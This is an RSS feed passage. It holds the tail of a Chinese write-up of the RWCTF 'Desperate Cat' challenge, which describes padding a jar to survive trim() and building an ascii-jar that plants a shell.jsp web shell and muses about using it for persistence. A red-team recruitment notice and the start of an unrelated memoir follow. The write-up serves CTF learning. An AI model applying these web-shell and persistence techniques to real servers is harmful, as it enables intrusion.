(val[st] &lt;= <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>)) {<br/>        st++;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">while</span> ((st &lt; len) &amp;&amp; (val[len - <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>] &lt;= <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>)) {<br/>        len--;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> ((st &gt; <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>) || (len &lt; value.length)) ? substring(st, len) : <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>;<br/>}</code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">为了解决这个问题，我们需要一个大于</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">\u0020</span><span style="font-size: 14px;letter-spacing: 1px;">的字符插入结尾，比如</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">C0NY1</span><span style="font-size: 14px;letter-spacing: 1px;">。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">修改offset之后，使用hex编辑器把</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">jar + C0NY1</span><span style="font-size: 14px;letter-spacing: 1px;">的数据抠出来就是最终要提交的payload了。 </span></section><section style="margin-right: 8px;margin-left: 8px;text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5046875" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=00362214&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdhDB7wNopWIwWKAZKwKZAMl2Tx3P2PpK08eXcibbib2PQAUmkpgW1UXPDmvZmJuC7zbxMpJM6yJpOg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">构造</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">META-INF/resources/shell.jsp</span><span style="font-size: 14px;letter-spacing: 1px;">类型的ascii-jar更加简单，感兴趣的直接参考我github项目</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ascii-jar</span><span style="font-size: 14px;letter-spacing: 1px;">当中</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ascii-jar-2.py</span><span style="font-size: 14px;letter-spacing: 1px;">的代码。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">最后的利用步骤官方Writeup讲的很清楚，这里就不赘述了。</span></section><section style="margin-right: 8px;margin-left: 8px;text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42265625" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9634a121&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdhDB7wNopWIwWKAZKwKZAMSfrdOyIhOanWOwibIQpsKH8YwodMnUEbw7c3ibXH7h4BEJM5mlIvicPuA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="letter-spacing: 1px;font-size: 18px;"> 0x04 </span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">总结</span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">综合来看WreckTheLine战队的解法，我认为是最好的，两个步骤直接搞定。官方writeup写入非法jar，业务重启会崩溃。Sauercloud战队使用的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">org.apache.jasper.compiler.StringInterpreter</span><span style="font-size: 14px;letter-spacing: 1px;">并不能通杀tomcat。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">最后感谢作者提供了这么好的一道ctf题，一道好题就像是一部不错的悬疑片，环环相扣耐人寻味。哪怕是解决之后脑海里依然在思考这些trick在实战中的意义，</span><span style="text-decoration: underline;"><span style="text-decoration: underline;font-size: 14px;letter-spacing: 1px;">比如jar中的</span><span style="text-decoration: underline;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">META-INF/resources/</span><span style="text-decoration: underline;font-size: 14px;letter-spacing: 1px;">目录是不是可以用来做权限维持？</span></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="letter-spacing: 1px;font-size: 18px;"> 0x05 </span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">参考资料</span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">* RWCTF 4th Desperate Cat Writeup</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">* <a href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html" target="_blank">https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html</a></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">* <a href="https://github.com/molnarg/ascii-zip" target="_blank">https://github.com/molnarg/ascii-zip</a></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">* <a href="https://github.com/Arusekk/ascii-zip" target="_blank">https://github.com/Arusekk/ascii-zip</a></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">* <a href="https://github.com/phith0n/PaddingZip" target="_blank">https://github.com/phith0n/PaddingZip</a></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="letter-spacing: 1px;"><span data-raw-text=" " data-textnode-index-1644746879960="485" data-index-1644746879960="7617" class="character"> </span><span data-raw-text="0" data-textnode-index-1644746879960="485" data-index-1644746879960="7618" class="character">0</span><span data-raw-text="x" data-textnode-index-1644746879960="485" data-index-1644746879960="7619" class="character">x</span><span data-raw-text="0" data-textnode-index-1644746879960="485" data-index-1644746879960="7620" class="character">06</span><span data-raw-text=" " data-textnode-index-1644746879960="485" data-index-1644746879960="7622" class="character"> </span></span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;"><span data-raw-text="招" data-textnode-index-1644746879960="486" data-index-1644746879960="7623" class="character">招</span><span data-raw-text="聘" data-textnode-index-1644746879960="486" data-index-1644746879960="7624" class="character">聘</span><span data-raw-text="：" data-textnode-index-1644746879960="486" data-index-1644746879960="7625" class="character">：</span><span data-raw-text="红" data-textnode-index-1644746879960="486" data-index-1644746879960="7626" class="character">红</span><span data-raw-text="队" data-textnode-index-1644746879960="486" data-index-1644746879960="7627" class="character">队</span><span data-raw-text="武" data-textnode-index-1644746879960="486" data-index-1644746879960="7628" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="486" data-index-1644746879960="7629" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="486" data-index-1644746879960="7630" class="character">化</span><span data-raw-text="工" data-textnode-index-1644746879960="486" data-index-1644746879960="7631" class="character">工</span><span data-raw-text="程" data-textnode-index-1644746879960="486" data-index-1644746879960="7632" class="character">程</span><span data-raw-text="师" data-textnode-index-1644746879960="486" data-index-1644746879960="7633" class="character">师</span></span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="最" data-textnode-index-1644746879960="487" data-index-1644746879960="7634" class="character">最</span><span data-raw-text="后" data-textnode-index-1644746879960="487" data-index-1644746879960="7635" class="character">后</span><span data-raw-text="给" data-textnode-index-1644746879960="487" data-index-1644746879960="7636" class="character">给</span><span data-raw-text="团" data-textnode-index-1644746879960="487" data-index-1644746879960="7637" class="character">团</span><span data-raw-text="队" data-textnode-index-1644746879960="487" data-index-1644746879960="7638" class="character">队</span><span data-raw-text="(" data-textnode-index-1644746879960="487" data-index-1644746879960="7639" class="character">(</span><span data-raw-text="奇" data-textnode-index-1644746879960="487" data-index-1644746879960="7640" class="character">奇</span><span data-raw-text="安" data-textnode-index-1644746879960="487" data-index-1644746879960="7641" class="character">安</span><span data-raw-text="信" data-textnode-index-1644746879960="487" data-index-1644746879960="7642" class="character">信</span><span data-raw-text="观" data-textnode-index-1644746879960="487" data-index-1644746879960="7643" class="character">观</span><span data-raw-text="星" data-textnode-index-1644746879960="487" data-index-1644746879960="7644" class="character">星</span><span data-raw-text="实" data-textnode-index-1644746879960="487" data-index-1644746879960="7645" class="character">实</span><span data-raw-text="验" data-textnode-index-1644746879960="487" data-index-1644746879960="7646" class="character">验</span><span data-raw-text="室" data-textnode-index-1644746879960="487" data-index-1644746879960="7647" class="character">室</span><span data-raw-text=")" data-textnode-index-1644746879960="487" data-index-1644746879960="7648" class="character">)</span><span data-raw-text="招" data-textnode-index-1644746879960="487" data-index-1644746879960="7649" class="character">招</span><span data-raw-text="个" data-textnode-index-1644746879960="487" data-index-1644746879960="7650" class="character">个</span><span data-raw-text="队" data-textnode-index-1644746879960="487" data-index-1644746879960="7651" class="character">队</span><span data-raw-text="友" data-textnode-index-1644746879960="487" data-index-1644746879960="7652" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;">友</span><span data-raw-text="," data-textnode-index-1644746879960="487" data-index-1644746879960="7653" class="character">,</span><span data-raw-text="有" data-textnode-index-1644746879960="487" data-index-1644746879960="7654" class="character">有</span><span data-raw-text="意" data-textnode-index-1644746879960="487" data-index-1644746879960="7655" class="character">意</span><span data-raw-text="向" data-textnode-index-1644746879960="487" data-index-1644746879960="7656" class="character">向</span><span data-raw-text="的" data-textnode-index-1644746879960="487" data-index-1644746879960="7657" class="character">的</span><span data-raw-text="可" data-textnode-index-1644746879960="487" data-index-1644746879960="7658" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="487" data-index-1644746879960="7659" class="character">以</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"><span data-raw-text="公" data-textnode-index-1644746879960="488" data-index-1644746879960="7660" class="character">公</span><span data-raw-text="众" data-textnode-index-1644746879960="488" data-index-1644746879960="7661" class="character">众</span><span data-raw-text="号" data-textnode-index-1644746879960="488" data-index-1644746879960="7662" class="character">号</span><span data-raw-text="后" data-textnode-index-1644746879960="488" data-index-1644746879960="7663" class="character">后</span><span data-raw-text="台" data-textnode-index-1644746879960="488" data-index-1644746879960="7664" class="character">台</span></span><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="或" data-textnode-index-1644746879960="489" data-index-1644746879960="7665" class="character">或</span><span data-raw-text="者" data-textnode-index-1644746879960="489" data-index-1644746879960="7666" class="character">者</span><span data-raw-text="邮" data-textnode-index-1644746879960="489" data-index-1644746879960="7667" class="character">邮</span><span data-raw-text="箱" data-textnode-index-1644746879960="489" data-index-1644746879960="7668" class="character">箱</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"><span data-raw-text="r" data-textnode-index-1644746879960="490" data-index-1644746879960="7669" class="character">r</span><span data-raw-text="o" data-textnode-index-1644746879960="490" data-index-1644746879960="7670" class="character">o</span><span data-raw-text="o" data-textnode-index-1644746879960="490" data-index-1644746879960="7671" class="character">o</span><span data-raw-text="t" data-textnode-index-1644746879960="490" data-index-1644746879960="7672" class="character">t</span><span data-raw-text="#" data-textnode-index-1644746879960="490" data-index-1644746879960="7673" class="character">#</span><span data-raw-text="g" data-textnode-index-1644746879960="490" data-index-1644746879960="7674" class="character">g</span><span data-raw-text="v" data-textnode-index-1644746879960="490" data-index-1644746879960="7675" class="character">v</span><span data-raw-text="7" data-textnode-index-1644746879960="490" data-index-1644746879960="7676" class="character">7</span><span data-raw-text="." data-textnode-index-1644746879960="490" data-index-1644746879960="7677" class="character">.</span><span data-raw-text="m" data-textnode-index-1644746879960="490" data-index-1644746879960="7678" class="character">m</span><span data-raw-text="e" data-textnode-index-1644746879960="490" data-index-1644746879960="7679" class="character">e</span></span><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="联" data-textnode-index-1644746879960="491" data-index-1644746879960="7680" class="character">联</span><span data-raw-text="系" data-textnode-index-1644746879960="491" data-index-1644746879960="7681" class="character">系</span><span data-raw-text="我" data-textnode-index-1644746879960="491" data-index-1644746879960="7682" class="character">我</span><span data-raw-text="，" data-textnode-index-1644746879960="491" data-index-1644746879960="7683" class="character">，</span><span data-raw-text="期" data-textnode-index-1644746879960="491" data-index-1644746879960="7684" class="character">期</span><span data-raw-text="待" data-textnode-index-1644746879960="491" data-index-1644746879960="7685" class="character">待</span><span data-raw-text="与" data-textnode-index-1644746879960="491" data-index-1644746879960="7686" class="character">与</span><span data-raw-text="你" data-textnode-index-1644746879960="491" data-index-1644746879960="7687" class="character">你</span><span data-raw-text="共" data-textnode-index-1644746879960="491" data-index-1644746879960="7688" class="character">共</span><span data-raw-text="事" data-textnode-index-1644746879960="491" data-index-1644746879960="7689" class="character">事</span><span data-raw-text="。" data-textnode-index-1644746879960="491" data-index-1644746879960="7690" class="character">。</span></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><strong><span style="letter-spacing: 1px;font-size: 16px;"><span data-raw-text="." data-textnode-index-1644746879960="492" data-index-1644746879960="7692" class="character">6.</span><span data-raw-text="1" data-textnode-index-1644746879960="492" data-index-1644746879960="7693" class="character">1</span><span data-raw-text=" " data-textnode-index-1644746879960="492" data-index-1644746879960="7694" class="character"> </span><span data-raw-text="工" data-textnode-index-1644746879960="492" data-index-1644746879960="7695" class="character">工</span><span data-raw-text="作" data-textnode-index-1644746879960="492" data-index-1644746879960="7696" class="character">作</span><span data-raw-text="内" data-textnode-index-1644746879960="492" data-index-1644746879960="7697" class="character">内</span><span data-raw-text="容" data-textnode-index-1644746879960="492" data-index-1644746879960="7698" class="character">容</span></span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="学" data-textnode-index-1644746879960="493" data-index-1644746879960="7699" class="character">学</span><span data-raw-text="习" data-textnode-index-1644746879960="493" data-index-1644746879960="7700" class="character">习</span><span data-raw-text="最" data-textnode-index-1644746879960="493" data-index-1644746879960="7701" class="character">最</span><span data-raw-text="前" data-textnode-index-1644746879960="493" data-index-1644746879960="7702" class="character">前</span><span data-raw-text="沿" data-textnode-index-1644746879960="493" data-index-1644746879960="7703" class="character">沿</span><span data-raw-text="的" data-textnode-index-1644746879960="493" data-index-1644746879960="7704" class="character">的</span><span data-raw-text="攻" data-textnode-index-1644746879960="493" data-index-1644746879960="7705" class="character">攻</span><span data-raw-text="防" data-textnode-index-1644746879960="493" data-index-1644746879960="7706" class="character">防</span><span data-raw-text="技" data-textnode-index-1644746879960="493" data-index-1644746879960="7707" class="character">技</span><span data-raw-text="术" data-textnode-index-1644746879960="493" data-index-1644746879960="7708" class="character">术</span><span data-raw-text="，" data-textnode-index-1644746879960="493" data-index-1644746879960="7709" class="character">，</span><span data-raw-text="挖" data-textnode-index-1644746879960="493" data-index-1644746879960="7710" class="character">挖</span><span data-raw-text="掘" data-textnode-index-1644746879960="493" data-index-1644746879960="7711" class="character">掘</span><span data-raw-text="0" data-textnode-index-1644746879960="493" data-index-1644746879960="7712" class="character">0</span><span data-raw-text="d" data-textnode-index-1644746879960="493" data-index-1644746879960="7713" class="character">d</span><span data-raw-text="a" data-textnode-index-1644746879960="493" data-index-1644746879960="7714" class="character">a</span><span data-raw-text="y" data-textnode-index-1644746879960="493" data-index-1644746879960="7715" class="character">y</span><span data-raw-text="，" data-textnode-index-1644746879960="493" data-index-1644746879960="7716" class="character">，</span><span data-raw-text="并" data-textnode-index-1644746879960="493" data-index-1644746879960="7717" class="character">并</span><span data-raw-text="将" data-textnode-index-1644746879960="493" data-index-1644746879960="7718" class="character">将</span><span data-raw-text="研" data-textnode-index-1644746879960="493" data-index-1644746879960="7719" class="character">研</span><span data-raw-text="究" data-textnode-index-1644746879960="493" data-index-1644746879960="7720" class="character">究</span><span data-raw-text="成" data-textnode-index-1644746879960="493" data-index-1644746879960="7721" class="character">成</span><span data-raw-text="果" data-textnode-index-1644746879960="493" data-index-1644746879960="7722" class="character">果</span><span data-raw-text="自" data-textnode-index-1644746879960="493" data-index-1644746879960="7723" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="493" data-index-1644746879960="7724" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="493" data-index-1644746879960="7725" class="character">化</span><span data-raw-text="武" data-textnode-index-1644746879960="493" data-index-1644746879960="7726" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="493" data-index-1644746879960="7727" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="493" data-index-1644746879960="7728" class="character">化</span><span data-raw-text="。" data-textnode-index-1644746879960="493" data-index-1644746879960="7729" class="character">。</span></span></section><p style="line-height: 1.5em;"><br/></p><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong><span data-raw-text="." data-textnode-index-1644746879960="494" data-index-1644746879960="7731" class="character">6.</span><span data-raw-text="2" data-textnode-index-1644746879960="494" data-index-1644746879960="7732" class="character">2</span><span data-raw-text=" " data-textnode-index-1644746879960="494" data-index-1644746879960="7733" class="character"> </span><span data-raw-text="能" data-textnode-index-1644746879960="494" data-index-1644746879960="7734" class="character">能</span><span data-raw-text="力" data-textnode-index-1644746879960="494" data-index-1644746879960="7735" class="character">力</span><span data-raw-text="要" data-textnode-index-1644746879960="494" data-index-1644746879960="7736" class="character">要</span><span data-raw-text="求" data-textnode-index-1644746879960="494" data-index-1644746879960="7737" class="character">求</span></strong></span><br/></section><ul class="list-paddingleft-2" style="margin-right: 8px;margin-left: 8px;padding-left: 30px;width: 577.422px;list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="可" data-textnode-index-1644746879960="495" data-index-1644746879960="7738" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="495" data-index-1644746879960="7739" class="character">以</span><span data-raw-text="分" data-textnode-index-1644746879960="495" data-index-1644746879960="7740" class="character">分</span><span data-raw-text="析" data-textnode-index-1644746879960="495" data-index-1644746879960="7741" class="character">析</span><span data-raw-text="调" data-textnode-index-1644746879960="495" data-index-1644746879960="7742" class="character">调</span><span data-raw-text="试" data-textnode-index-1644746879960="495" data-index-1644746879960="7743" class="character">试</span><span data-raw-text="最" data-textnode-index-1644746879960="495" data-index-1644746879960="7744" class="character">最</span><span data-raw-text="新" data-textnode-index-1644746879960="495" data-index-1644746879960="7745" class="character">新</span><span data-raw-text="报" data-textnode-index-1644746879960="495" data-index-1644746879960="7746" class="character">报</span><span data-raw-text="送" data-textnode-index-1644746879960="495" data-index-1644746879960="7747" class="character">送</span><span data-raw-text="的" data-textnode-index-1644746879960="495" data-index-1644746879960="7748" class="character">的</span><span data-raw-text="漏" data-textnode-index-1644746879960="495" data-index-1644746879960="7749" class="character">漏</span><span data-raw-text="洞" data-textnode-index-1644746879960="495" data-index-1644746879960="7750" class="character">洞</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="可" data-textnode-index-1644746879960="496" data-index-1644746879960="7751" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="496" data-index-1644746879960="7752" class="character">以</span><span data-raw-text="将" data-textnode-index-1644746879960="496" data-index-1644746879960="7753" class="character">将</span><span data-raw-text="研" data-textnode-index-1644746879960="496" data-index-1644746879960="7754" class="character">研</span><span data-raw-text="究" data-textnode-index-1644746879960="496" data-index-1644746879960="7755" class="character">究</span><span data-raw-text="成" data-textnode-index-1644746879960="496" data-index-1644746879960="7756" class="character">成</span><span data-raw-text="果" data-textnode-index-1644746879960="496" data-index-1644746879960="7757" class="character">果</span><span data-raw-text="自" data-textnode-index-1644746879960="496" data-index-1644746879960="7758" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="496" data-index-1644746879960="7759" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="496" data-index-1644746879960="7760" class="character">化</span><span data-raw-text="武" data-textnode-index-1644746879960="496" data-index-1644746879960="7761" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="496" data-index-1644746879960="7762" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="496" data-index-1644746879960="7763" class="character">化</span></span></p></li></ul><p style="line-height: 1.5em;"><br/></p><section style="margin-right: 8px;margin-left: 8px;line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong><span data-raw-text="." data-textnode-index-1644746879960="497" data-index-1644746879960="7765" class="character">6.</span><span data-raw-text="3" data-textnode-index-1644746879960="497" data-index-1644746879960="7766" class="character">3</span><span data-raw-text=" " data-textnode-index-1644746879960="497" data-index-1644746879960="7767" class="character"> </span><span data-raw-text="加" data-textnode-index-1644746879960="497" data-index-1644746879960="7768" class="character">加</span><span data-raw-text="分" data-textnode-index-1644746879960="497" data-index-1644746879960="7769" class="character">分</span><span data-raw-text="项" data-textnode-index-1644746879960="497" data-index-1644746879960="7770" class="character">项</span></strong></span><br/></section><ul class="list-paddingleft-2" style="margin-right: 8px;margin-left: 8px;padding-left: 30px;width: 577.422px;list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="498" data-index-1644746879960="7771" class="character">有</span><span data-raw-text="高" data-textnode-index-1644746879960="498" data-index-1644746879960="7772" class="character">高</span><span data-raw-text="质" data-textnode-index-1644746879960="498" data-index-1644746879960="7773" class="character">质</span><span data-raw-text="量" data-textnode-index-1644746879960="498" data-index-1644746879960="7774" class="character">量</span><span data-raw-text="文" data-textnode-index-1644746879960="498" data-index-1644746879960="7775" class="character">文</span><span data-raw-text="章" data-textnode-index-1644746879960="498" data-index-1644746879960="7776" class="character">章</span><span data-raw-text="b" data-textnode-index-1644746879960="498" data-index-1644746879960="7777" class="character">b</span><span data-raw-text="l" data-textnode-index-1644746879960="498" data-index-1644746879960="7778" class="character">l</span><span data-raw-text="o" data-textnode-index-1644746879960="498" data-index-1644746879960="7779" class="character">o</span><span data-raw-text="g" data-textnode-index-1644746879960="498" data-index-1644746879960="7780" class="character">g</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="499" data-index-1644746879960="7781" class="character">有</span><span data-raw-text="不" data-textnode-index-1644746879960="499" data-index-1644746879960="7782" class="character">不</span><span data-raw-text="错" data-textnode-index-1644746879960="499" data-index-1644746879960="7783" class="character">错</span><span data-raw-text="的" data-textnode-index-1644746879960="499" data-index-1644746879960="7784" class="character">的</span><span data-raw-text="自" data-textnode-index-1644746879960="499" data-index-1644746879960="7785" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="499" data-index-1644746879960="7786" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="499" data-index-1644746879960="7787" class="character">化</span><span data-raw-text="开" data-textnode-index-1644746879960="499" data-index-1644746879960="7788" class="character">开</span><span data-raw-text="源" data-textnode-index-1644746879960="499" data-index-1644746879960="7789" class="character">源</span><span data-raw-text="作" data-textnode-index-1644746879960="499" data-index-1644746879960="7790" class="character">作</span><span data-raw-text="品" data-textnode-index-1644746879960="499" data-index-1644746879960="7791" class="character">品</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="500" data-index-1644746879960="7792" class="character">有</span><span data-raw-text="原" data-textnode-index-1644746879960="500" data-index-1644746879960="7793" class="character">原</span><span data-raw-text="创" data-textnode-index-1644746879960="500" data-index-1644746879960="7794" class="character">创</span><span data-raw-text="C" data-textnode-index-1644746879960="500" data-index-1644746879960="7795" class="character">C</span><span data-raw-text="V" data-textnode-index-1644746879960="500" data-index-1644746879960="7796" class="character">V</span><span data-raw-text="E" data-textnode-index-1644746879960="500" data-index-1644746879960="7797" class="character">E</span></span></p></li></ul>



<p><a href="https://gv7.me/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=10465c1a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484234%26idx%3D1%26sn%3Dc8ca168dd0bbbcab70f761c61a6bf6f7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Feb 2022 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>忆魁兄</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484192&amp;idx=1&amp;sn=247d420c2146a9d9155601879d2d572d</link>
      <description>飞雪窗边过，故人心上来</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2022-01-20 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>飞雪窗边过，故人心上来</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=50f9a498&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeBJnpU5QWnNh8GT98d6CI935G8slhnk99cHvvNwU957SP1qCCc3fsVicaCEZDr6xhpUGX6wgAwVwA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">早上起来做早餐，发现窗外的北京城下起了鹅毛大雪。让我突然想起大学一个“有味道”的人以及他的事。真是飞雪窗边过，故人心上来。下文是大学时写的与他的记忆，且仅有此篇，毕业后也再没他的消息。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.75" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8558b6c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeBJnpU5QWnNh8GT98d6CI9XPP3Tv80ds4egqAG3hd5FmQdQSAVlib7dW1edpnOv9qgK97UiapYC1rg%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">魁兄，小我一届，爱诗喜酒嗜编程，是我目前认识的最有才情的程序猿。原先虽然同处一个工作室，然生活并无交集。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">真正认识是在一年冬天的夜晚，工作室三大学霸因获得奖学金而请通宵唱歌，而我和他正好在邀请之列。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 